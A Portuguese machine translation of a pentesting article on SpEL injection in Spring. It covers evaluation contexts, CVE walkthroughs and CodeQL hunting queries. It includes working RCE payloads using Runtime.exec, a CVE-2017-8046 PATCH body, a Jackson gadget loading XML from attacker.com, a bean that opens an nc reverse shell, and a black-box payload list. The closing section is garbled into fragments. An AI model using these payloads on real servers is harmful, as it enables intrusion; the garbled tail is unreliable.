Injeção Spel


Introdução


No processo de trabalhar e pesquisar vários serviços, podemos atender cada vez mais ao Spring Framework. E o passo lógico é se familiarizar com sua estrutura e possíveis vulnerabilidades.


O mais interessante para qualquer Pentester são as vulnerabilidades que levam à execução do código.


Uma maneira de obter o RCE no Spring é injetar expressões SpEL.


Neste artigo, tentaremos entender o que é SpEL, onde ele pode ser encontrado, quais são os recursos de uso e como encontrar essas injeções.


O que?


SpEL é uma linguagem de expressão criada para o Spring Framework que suporta consultas e gerenciamento de gráficos de objetos em tempo de execução.
Também é importante observar que o SpEL foi criado como uma API que permite integrá-lo a outros aplicativos e estruturas.


Onde posso me encontrar?


É lógico que no Spring Framework SpEL seja usado o tempo todo. Um bom exemplo é o Spring Security, onde os direitos são atribuídos usando expressões SpEL:


@PreAuthorize("hasPermission(#contact, 'admin')") public void deletePermission(Contact contact, Sid recipient, Permission permission); 


O Apache Camel usa a API SpEL; Abaixo estão exemplos de sua documentação.
Formação de letras usando expressões SpEL:


 <route> <from uri="direct:foo"/> <filter> <spel>#{request.headers['foo'] == 'bar'}</spel> <to uri="direct:bar"/> </filter> </route> 

Ou você pode usar uma regra de um arquivo externo, por exemplo, para especificar um cabeçalho:


 .setHeader("myHeader").spel("resource:classpath:myspel.txt") 

Aqui estão alguns exemplos vistos no GitHub:
https://github.com/jpatokal/openflights



https://github.com/hbandi/LEP



Spring Framework e noções básicas de SpEL


Para facilitar o entendimento do leitor sobre o que são as injeções de SpEL, você precisa conhecer um pouco o Spring e o SpEL.


Um elemento-chave do Spring Framework é o Spring Container. Um contêiner cria objetos, os une, os configura e gerencia desde a criação até a destruição.


Para controlar os componentes que compõem o aplicativo, o Spring Container usa
Injeção de Dependência. É quando os objetos são configurados usando entidades externas chamadas Spring Beans - coloquialmente chamadas de "beans".


O Spring Container recupera os metadados de configuração do bean necessário para obter as seguintes informações: instruções sobre quais objetos instanciar e como configurá-los por meio de metadados.


Os metadados podem ser obtidos de três maneiras:


  • XML
  • Anotações Java
  • Código Java

E outro ponto importante para nós é o Contexto do Aplicativo.


ApplicationContext é a interface principal em um aplicativo Spring que fornece informações de configuração do aplicativo. É somente leitura em tempo de execução, mas pode ser recarregado, se necessário e suportado pelo aplicativo. O número de classes que implementam a interface ApplicationContext está disponível para vários parâmetros de configuração e tipos de aplicativos. De fato, é o próprio aplicativo Spring. O contexto também fornece a capacidade de responder a vários eventos que ocorrem no aplicativo e de controlar o ciclo de vida dos beans.



Agora, vamos nos concentrar diretamente nos métodos de definição de um bean e do uso de expressões SpEL.


Bean.xml


Um exemplo de uso típico é a integração do SpEL na criação de XML ou nas definições anotadas dos componentes do bean:


 <bean id=“exmple" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/> <property name="defaultLocale2" value="${user.region}"/> </bean> 

Aqui está uma parte do código no arquivo Bean.xml, para apenas um de seus beans. Vale a pena prestar atenção ao ID da lixeira, pela qual ela pode ser acessada, e às propriedades. Porque Como parte deste artigo, estamos considerando a possibilidade de usar o SpEL; no exemplo, várias opções para escrever essas expressões serão fornecidas.


Para indicar ao Spring que as expressões SpEL vêm a seguir, o caractere # é usado e a própria expressão é colocada entre chaves: #{SpEL_expression} . As propriedades podem ser referenciadas usando o caractere $ e colocando o nome da propriedade entre chaves: ${someProperty} . Os espaços reservados de propriedade não podem conter expressões SpEL, mas as expressões podem conter referências de propriedade:


 "#{${someProperty}" 

Assim, você pode chamar qualquer classe Java de que precisamos ou, por exemplo, acessar variáveis ​​de ambiente, o que pode ser útil para determinar o nome de usuário ou a versão do sistema.


A conveniência desse método de especificar beans é a capacidade de alterá-los sem recompilar o aplicativo inteiro, alterando assim o comportamento do aplicativo.


No próprio aplicativo, você pode acessar esse bean usando a interface ApplicationContext, como mostrado abaixo:


 ApplicationContext ctx = new ClassPathXmlApplicationContext(“Bean.xml”); MyExpression example = ctx.getBean(“example", MyExpression.class); " + "System.out.println(“Number : " + example.getValue()); System.out.println(“Locale : " + example.getDefaultLocale()); System.out.println(“Locale : " + example.getDefaultLocale2()); 

I.e. dentro do aplicativo, simplesmente obtemos os valores dos parâmetros bin que contêm expressões SpEL. Spring, tendo recebido esse valor, executa a expressão e retorna o resultado final. Além disso, não esqueça que esse código não funcionará sem os getters correspondentes, mas sua descrição está além do escopo do artigo.


Outra maneira de especificar beans é o método de anotação AnnotationBase - os valores dos parâmetros são definidos dentro da anotação para alguma classe. Nesse caso, o uso de variáveis ​​não é possível.


 public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } } 

Para poder usar variáveis, ao criar expressões SpEL, precisamos usar a interface ExpressionParser. E, em seguida, uma classe aparece no código do aplicativo, semelhante ao exemplo a seguir:


 public void parseExpressionInterface(Person personObj,String property) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(property+" == 'Input'"); StandardEvaluationContext testContext = new StandardEvaluationContext(personObj); boolean result = exp.getValue(testContext, Boolean.class); 

ExpressionParser converte uma expressão de seqüência de caracteres em um objeto Expression. Assim, o valor da expressão analisada pode ser obtido na estrutura do EvaluationContext. Este EvaluationContext será o único objeto a partir do qual todas as propriedades e variáveis ​​na cadeia EL estarão disponíveis.


Vale a pena notar outro fato importante. Com esse método de uso de SpEL, precisamos apenas da expressão de string para conter # se, além da própria expressão, ela contiver literais de string.


De todas as alternativas acima, vale lembrar duas coisas:
1) Se for possível pesquisar pelo código do aplicativo, é necessário procurar essas palavras-chave: SpelExpressionParser, EvaluationContext e parseExpression.
2) Ponteiros importantes para Spring #{SpEL} , ${someProperty} e T(javaclass)
Se você quiser ler mais sobre Spring e SpEL, recomendamos que você preste atenção à documentação docs.spring.io .


O que o SpEL pode fazer?


De acordo com a documentação, o SpEL suporta as seguintes funcionalidades:


  • Expressões literais
  • Operadores booleanos e relacionais
  • Expressões regulares
  • Expressões de classe
  • Acessando propriedades, matrizes, listas, mapas
  • Chamada de método
  • Operadores relacionais
  • Atribuição
  • Chamando Construtores
  • Referências de Bean
  • Construção de matriz
  • Listas embutidas
  • Mapas em linha
  • Operador ternário
  • Variáveis
  • Funções definidas pelo usuário
  • Projeção de coleção
  • Seleção de coleção
  • Expressões modeladas

Como podemos ver, a funcionalidade SpEL é muito rica e isso pode afetar adversamente a segurança do projeto se a entrada do usuário entrar no ExpressionParser. Portanto, o próprio Spring recomenda usar, em vez de um StandardEcalutionContext totalmente funcional, um SimpleEvaluationContext mais simples.


Em suma, da importância para nós, SimpleEvaluationContext não tem a capacidade de acessar classes Java e referenciar outros beans.


Uma descrição completa dos recursos é melhor explorada no site de documentação:
StandardEvaluationContext
SimpleEvaluationContext


Algumas correções são baseadas na diferença de funcionalidade do SpEL, que é executada em diferentes contextos, mas falaremos sobre isso um pouco mais tarde.


Para deixar tudo muito claro, damos um exemplo. Temos uma linha claramente maliciosa que contém uma expressão SpEL:


 String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')"; 

E há dois contextos:


 StandardEvaluationContext std_c = new StandardEvaluationContext(); 

e


 EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build(); 

Expressão exp = parser.parseExpression (inj);
java exp.getValue(std_c); - a calculadora será lançada
java exp.getValue(simple_c); - receberemos uma mensagem de erro


Um ponto igualmente interessante é que podemos começar a processar a expressão sem especificar nenhum contexto: exp.getValue();
Nesse caso, a expressão será executada dentro do contexto padrão e, como resultado, o código malicioso será executado. Portanto, se você é um programador e usa Spring - nunca se esqueça de definir o contexto no qual a expressão deve ser executada.


Dissemos um pouco antes que algumas correções são construídas sobre as diferenças entre os recursos de SpEL dentro dos contextos. Considere um exemplo dessa correção.


CVE 2018-1273 Spring Data Commons
Esta vulnerabilidade foi encontrada no método setPropertyValue e foi baseada em dois problemas:
1) Saneamento insuficiente dos valores da variável que se enquadra no ExpressionParser.
2) Execução da expressão no quadro do contexto padrão.


Aqui está uma captura de tela da parte vulnerável do código:



Porque o nome da propriedade não exigia processamento complexo na estrutura do SpEL; a solução lógica era substituir o contexto, resultando no seguinte código:



As capturas de tela mostram as partes do código que definem o contexto e a expressão que será executada. Mas a execução da expressão ocorre em outro lugar:


 expression.setValue(context, value); 

É aqui que é indicado que estamos executando uma expressão SpEL para o valor value dentro do contexto especificado.
O uso do SimpleEvaluationContext ajudou a proteger contra a implementação da classe Java no parseExpression. Agora, em vez de executar o código no log do servidor, veremos um erro:


 Type cannot be found 'java.lang.Runtime' 

Mas isso não resolveu o problema com a falta de saneamento suficiente e manteve a capacidade de realizar um ataque de refazer:


 curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test" 

Portanto, a próxima correção já incluía a limpeza do nome do parâmetro.


Da teoria à prática!


Agora, vamos ver várias maneiras de procurar injeção de SpEL usando o método White Box.


Passo a passo CVE-2017-8046


Primeiro, você precisa encontrar um local para processar expressões SpEL. Para fazer isso, você pode simplesmente usar nossa recomendação e encontrar palavras-chave no código. Lembre-se destas palavras: SpelExpressionParser, EvaluationContext e parseExpression.


Outra opção é usar vários plugins para encontrar erros no código. Até agora, o único plugin que aponta para uma possível injeção de SpEL foi o findsecbugs-cli.
https://github.com/find-sec-bugs


Então, encontramos o local em que estamos interessados ​​no código. Digamos que usando findsecbugs-cli:



No código do aplicativo, veremos o seguinte:


 public class PathToSpEL { private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser(); static final List<String> APPEND_CHARACTERS = Arrays.asList("-"); /** * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. * @return an {@link Expression} */ public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); } 

O próximo passo é descobrir onde a variável de caminho entra no analisador de expressões. Uma das maneiras mais convenientes e gratuitas seria usar a função IntelijIdea IDE - Analyze Dataflow:



Ao desenrolar a cadeia, por exemplo, para substituir e estudar os métodos e classes especificados, obtemos o seguinte:


O método ReplaceOperation assume o valor da variável de caminho.


 public ReplaceOperation(String path, Object value) { super("replace", path, value); } 

E para chamar o método de substituição, você precisa passar a variável "op" com o valor "replace" para JSON.


 JsonNode opNode = elements.next(); String opType = opNode.get("op").textValue(); else if (opType.equals("replace")) { ops.add(new ReplaceOperation(path, value)); 

Da mesma forma, encontramos todos os lugares onde o usuário pode passar o valor necessário para a variável do caminho. E então uma das opções de exploração para a vulnerabilidade ficará assim:
Método de solicitação: PATCH
Organismo de solicitação:


 [{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }] 

Usando LGTM QL


O uso do LGTM QL (para os fins deste artigo, simplesmente o reduzimos para QL) é outra maneira interessante de procurar vulnerabilidades.
https://lgtm.com


Deve estipular imediatamente sua falta. De graça, você pode analisar apenas projetos que estão em repositórios abertos no GitHub, porque Para tirar uma foto do projeto, a LGTM carrega o projeto no servidor e o compila lá. Mas se isso não incomodá-lo, o LGTM QL abrirá grandes oportunidades para você analisar o código do aplicativo.


Então, o que é análise de aplicativos QL?


Para começar, como já dissemos, você precisará criar um instantâneo do aplicativo.


Quando o instantâneo estiver pronto, e isso pode levar várias horas, você poderá começar a escrever uma consulta semelhante ao SQL como parte da sintaxe da QL. Para fazer isso, você pode usar o plug-in para Eclipse ou atuar diretamente no console na página QL do projeto.


Porque Agora, estamos considerando o Spring, e essa é a estrutura para Java, você precisará descrever a classe de seu interesse e o método dessa classe, cuja chamada é considerada vulnerável. Para nós, essa é qualquer classe que contém um método que chama ExpressionParser.


Em seguida, fazemos uma seleção de todos os métodos que atendem aos nossos requisitos, por exemplo, descrevendo a ocorrência de uma variável em um método que higienizaria e a condição de não se enquadrar nesse método.



Então, o que precisa ser feito para encontrar a vulnerabilidade do CVE 2018-1273?
Após receber e conectar a imagem do projeto, usamos o console QL para descrever a árvore de chamadas que nos interessa. Para fazer isso:
Nós descrevemos a classe do analisador Expression:


 class ExpressionParser extends RefType { ExpressionParser() { this.hasQualifiedName("org.springframework.expression", "ExpressionParser") } } 

E os métodos que podem ser usados ​​para execução na classe ExpressionParser:


 class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } } 

Agora você precisa conectar essas descrições umas às outras e fazer uma seleção:


 from ParseExpression expr where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser) select expr 

Essa consulta retornará todos os métodos iniciados com análise ou com o nome doParseExpression que pertencerá à classe ExpressionParser. Mas isso é demais, você diz, e estará certo. É necessário um filtro.


Porque no código, há um comentário do formulário:


 * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. 

Pode ser, por exemplo, uma pesquisa por "caminho" em Javadoc. O Spring comenta seu código com uma qualidade muito alta, e podemos encontrar chamadas de método com o comentário necessário e, ao mesmo tempo, remover todos os métodos incluídos nos testes. Tudo isso pode ser descrito da seguinte maneira:


 class CallHasPath extends Callable { CallHasPath() { not this.getDeclaringType() instanceof TestClass and ( this.getDoc().getJavadoc() instanceof DocHasPath or this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath ) } } 

Em seguida, para combinar a classe, métodos e filtro por Javadoc, a consulta para a seleção assumirá o seguinte formato:


 from ParseExpression expr, CallHasPath c where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and c = expr.getEnclosingCallable()) select expr, c 

Este exemplo pode ser considerado simples e, em geral, redundante para procurar uma vulnerabilidade específica. Muito mais interessante é a busca por erros ao escrever uma correção, porque nele, você precisa especificar a própria classe, responsável pela verificação, os métodos que sempre a chamam e que são executados antes de serem verificados.


Uma chamada para um método que sempre chama CheckerPath:


 class VerifyPathCallerAccess extends MethodAccess { VerifyPathCallerAccess() { exists(VerifyPathActionConf conf | conf.callAlwaysPerformsAction(this) ) or this.getMethod() instanceof VerifyPath } } 

Uma chamada para um método que é executado antes de confirmPath:


 class UnsafeEvaluateCall extends MethodAccess { UnsafeEvaluateCall() { ( this.getMethod() instanceof Evaluate or exists(UnsafeEvaluateCall unsafe | this.getMethod() = unsafe.getEnclosingCallable() ) ) and not exists(VerifyPathCallerAccess verify | dominates(verify, this) ) } } 

Considere outra vulnerabilidade interessante. O entendimento dela é muito importante, porque mostra que o erro pode estar em uma biblioteca de terceiros e demonstra como os beans anotados em XML podem ser usados.


Jackson e feijão


CVE-2017-17485 é baseado no uso de FileSystemXmlApplicationContext - é um contexto de aplicativo independente na forma de XML, que recebe arquivos de definição de contexto do sistema de arquivos ou da URL.


De acordo com a documentação, isso permite carregar beans de um arquivo e recarregar o contexto do aplicativo.
"... Crie um novo FileSystemXmlApplicationContext, carregando as definições dos arquivos XML fornecidos e atualizando automaticamente o contexto"


Jackson é uma biblioteca que permite serializar e desserializar qualquer objeto, exceto aqueles que estão na lista negra. Essa oportunidade é frequentemente usada pelos atacantes. No caso desta vulnerabilidade, o invasor precisou passar o objeto org.springframework.context.support.FileSystemXmlApplicationContext com um valor que contém o caminho para o arquivo controlado pelo invasor.


I.e. no corpo da solicitação, você pode transmitir o seguinte JSON:


 {"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]} 

Spel.xml conterá parâmetros de bin:


 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list value-type="java.lang.String" > <value>nc</value> <value>XXXX</value> <value>9999</value> <value>-e</value> <value>/bin/sh</value> </list> </constructor-arg> <property name="whatever" value="#{pb.start()}"/> </bean> </beans> 

Porque Como usamos a classe java.lang.ProcessBuilder, que possui um método start, após recarregar o contexto, o Spring lê a expressão que inicia ProcessBuilder a partir da propriedade SpEL, forçando o servidor a se conectar a nós usando nc.


Vale a pena prestar atenção ao spel.xml dado como exemplo, como mostra como passar parâmetros ao executar o comando.


E de que outra maneira podemos carregar nosso bean ou recarregar o contexto?


Mesmo com uma rápida olhada na documentação do Spring, você pode encontrar mais algumas classes que podem ser úteis para nós.


ClassPathXmlApplicationContext e AbstractXmlApplicationContext são semelhantes ao FileSystem, mas os beans anotados em ClassPath e XML são usados ​​como o caminho para a configuração, respectivamente.


Há outro ponto interessante relacionado à atualização do contexto - @RefreshScope.


Qualquer Spring Bean anotado com @RefreshScope será atualizado no momento do lançamento. E todos os componentes que o usam receberão um novo objeto na próxima vez que o método for chamado, eles serão totalmente inicializados e introduzidos, dependendo.


RefreshScope é um componente em contexto e possui um método público refreshAll, projetado para atualizar todos os componentes em uma área limpando o cache de destino. Portanto, ao usar o @RefreshScope, o usuário pode acessar um URL que termina em / atualizar e, assim, recarregar os beans anotados.


Outras utilidades


Existem muitos outros plugins e programas que permitem analisar o código e encontrar a vulnerabilidade.


  • Jprofiler - é instalado como um aplicativo separado - servidor e plugin para IDE. Permite analisar um aplicativo em execução. É muito conveniente analisar o comportamento dos objetos através de gráficos.


Dos menos - pago, mas tem um período gratuito de 10 dias. É considerado um dos melhores utilitários para analisar o comportamento do aplicativo, não apenas do ponto de vista da segurança.


  • Xrebel - pago, não encontramos a possibilidade de um período de teste. Mas também considerado um dos melhores.
  • Cobertura - usa seus próprios servidores para análise, portanto, é conveniente apenas para aqueles que não têm medo de definir seu código.
  • Checkmarx - muito famoso, pago, conhece muitas línguas e despeja muitos falsos positivos. Mas é melhor apontar para o lugar onde a teoria pode ter um erro do que perder um erro real.
  • Verificação de Dependência OWASP - fornecida como um plug-in conveniente para vários construtores. Conseguimos testá-lo para Maven e Ant ao analisar um aplicativo Java. Também suporta .Net. De acordo com os resultados do trabalho, ele fornece um relatório conveniente indicando bibliotecas obsoletas e vulnerabilidades conhecidas por eles.
  • Findbugs - já foi mencionado anteriormente. Possui muitas implementações, mas a opção findbugs_cli acabou sendo a mais conveniente e, por algum motivo, mostrando mais problemas. Pode ser usado da seguinte maneira:
     findsecbugs.bat -progress -html -output report_name.htm "path\example.jar" 
  • LGTM QL - Um exemplo de seu uso já foi dado anteriormente. Gostaríamos de dizer separadamente que também há um caso de uso pago, após o qual você receberá um servidor local para analisar seu código.
    QL Java, .

Black Box


-, .
, : Spring, SpEL, , SpEL API, -, .


spring, URL, API. /metrics /beans — Spring Boot Actuator , .


, .


, SpEL , , .


  • : var[SpEL]=123
  • : &variable1=123&SpEL=
  • : org.springframework.cookie = ${}
  • ..

:


 ${1+3} T(java.lang.Runtime).getRuntime().exec("nslookup !url!") #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!') new java.lang.ProcessBuilder({'nslookup !url!'}).start() ${user.name} 

SpEL


SpEL , , EL Injection. : OGNL, MVEL, JBoss EL, JSP EL. - .



ZeroNights : “ , Spring, SpEL injection?”


, CVE, . , , github.


, , SpEL Expression. I.e. (, ) , .


I.e. . , , “” .

Source: https://habr.com/ru/post/pt433034/


All Articles